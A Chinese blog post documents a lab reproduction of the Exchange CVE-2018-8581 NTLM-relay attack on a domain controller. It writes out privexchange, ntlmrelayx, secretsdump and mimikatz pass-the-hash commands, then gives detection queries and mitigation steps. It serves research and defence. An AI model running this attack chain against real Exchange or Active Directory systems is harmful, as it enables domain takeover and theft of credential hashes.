Microsoft Exchange漏洞记录(撸向域控) - CVE-2018-8581

前一段时间exchange出现了CVE-2018-8581,搭了许久的环境,不过不得不敬佩这个漏洞整体超赞。
一开始主要还是利用盗取exchange的管理员权限去调用一些接口,导致可以做到,比如收取别人邮件,替别人发送邮件。

攻击域控

今天出了一个更加深入的利用分析
主要是利用了ews推送的ssrf,进行ntlm relay,从http -> ldap的利用。主要还是exchange权限太高了,可以改变用户的acl权限,再通过DCSync dump数据。

测试环境:
1、exchange 2013 sp1 搭建在windows 2012上
2、DC域控为windows 2008 r2
两个是分离的,另外利用程序攻击的时候是需要修改版本号的,不过原作者已经改了这个问题。
https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py#L64

利用程序:
privexchange.py:
https://github.com/dirkjanm/PrivExchange

ntlmrelayx.py、secretsdump.py:
https://github.com/SecureAuthCorp/impacket

ubuntu: 192.168.186.133
dc: 192.168.186.100
mail: mail.lemon.com -> 192.168.186.101
域名: LEMON
用户名: lemon

命令:
python privexchange.py -ah 192.168.186.133 mail.lemon.com -u lemon -p password -d LEMON --debug

ntlmrelayx.py -t ldap://192.168.186.100 --escalate-user lemon

python secretsdump.py LEMON/lemon@192.168.186.100 -just-dc

然后就是很愉快的进入域控
mimikatz.exe privilege::debug "sekurlsa::pth /user:Administrator /domain:LEMON /ntlm:fc399xxxxxxxxxxxxxxxxx89088"

越权操作

也已经有同学根据ZDI放出的脚本写了一个一键工具,方便利用: https://github.com/WyAtu/CVE-2018-8581
通过ews的权限,根据sid来模拟各种用户进行接口调用操作。

原poc应该是在2012中测试,但是对于低版本,比如exchange 2010没有权限那个功能,所以没法获取到SID
1、反向委托
2007就存在此接口,较为通用

2、如果在域内,命令行下可以用wmi获取: wmi useraccount where name='lemon'

另外目前的一些接口主要是进行接收邮件,可以参考接口文档改一下,进行更多的邮件操作。

攻击检测

根据这次攻击手法,可以从下面一些点进行检测是否受到攻击。

1、用户检测
Exchange会为用户添加ACl权限,所以可以查看哪些用户有权限

PowerShell检测DCSyncRights脚本

powershell -ep bypass

Import-Module  ActiveDirectory
Import-Module -force .\Get-DCSyncRights.ps1
Get-DCSyncRights | Export-CSV DCSyncRights.csv -NoType

这里可以看到LEMON\lemon是存在这个权限的

2、日志检测
最后dump域控hash数据主要是利用了DCSync,所以我们可以针对其对应的事件ID为4662进行查询

Log Parser - windows日志分析工具下载

LogParser.exe -i:EVT "select distinct TimeGenerated,EXTRACT_TOKEN(Strings,2,'|') AS Domain,EXTRACT_TOKEN(Strings,1,'|') AS UserName,ComputerName from 'C:\Users\lemon\Desktop\test.evtx' where EventID=4662 order by TimeGenerated desc"

可以看到LEMON\lemon,再根据时间、用户登录等维度可以定位到具体IP

漏洞修复

声明: 下面为缓解措施,仅作为参考,通过测试,下面不会影响发送接收邮件功能,其余功能未知。最好咨询微软专家进行修复

首先是需要恢复被攻击的账号
PowerView powershell 移除用户DCSync权限

Remove-DomainObjectAcl -TargetIdentity "DC=lemon,DC=com" -PrincipalIdentity lemon -Rights DCSync

1、删除注册表
其修复方案只能修复越权操作Api接口,因为DisableLoopbackCheck被删除后,ntlm重放时候,本地认证将会失败,但是在集群情况下是属于对其他机器进行重放,导致可以攻击,所以此修复方案只能一定程度上缓解。

reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v DisableLoopbackCheck /f

2、去除Exchange默认允许修改ACL的权限
https://github.com/gdedrouas/Exchange-AD-Privesc/blob/master/DomainObject/Fix-DomainObjectDACL.ps1

powershell -ep bypass

Import-Module  ActiveDirectory
.\Fix-DomainObjectDACL -Fix

环境搭建

exchange下载

主要依据这篇文章进行环境搭建

安装exchange之前需要一些先决条件(windows 2012)并且与域控windows 2008分离:

powershell:

Install-WindowsFeature RSAT-ADDS
Import-Module ServerManager
Install-WindowsFeature AS-HTTP-Activation, Desktop-Experience, NET-Framework-45-Features, RPC-over-HTTP-proxy, RSAT-Clustering, RSAT-Clustering-CmdInterface, Web-Mgmt-Console, WAS-Process-Model, Web-Asp-Net45, Web-Basic-Auth, Web-Client-Auth, Web-Digest-Auth, Web-Dir-Browsing, Web-Dyn-Compression, Web-Http-Errors, Web-Http-Logging, Web-Http-Redirect, Web-Http-Tracing, Web-ISAPI-Ext, Web-ISAPI-Filter, Web-Lgcy-Mgmt-Console, Web-Metabase, Web-Mgmt-Console, Web-Mgmt-Service, Web-Net-Ext45, Web-Request-Monitor, Web-Server, Web-Stat-Compression, Web-Static-Content, Web-Windows-Auth, Web-WMI, Windows-Identity-Foundation

安装其他程序
http://go.microsoft.com/fwlink/p/?linkId=258269
http://go.microsoft.com/fwlink/p/?linkID=191548
http://go.microsoft.com/fwlink/p/?LinkId=254043

参考文章

Microsoft Exchange任意用户伪造漏洞分析(CVE-2018-8581)

深入Exchange Server在网络渗透下的利用方法

ews接口手册

posted @ 2019-01-22 22:19 l3m0n 阅读(...) 评论(...) 编辑 收藏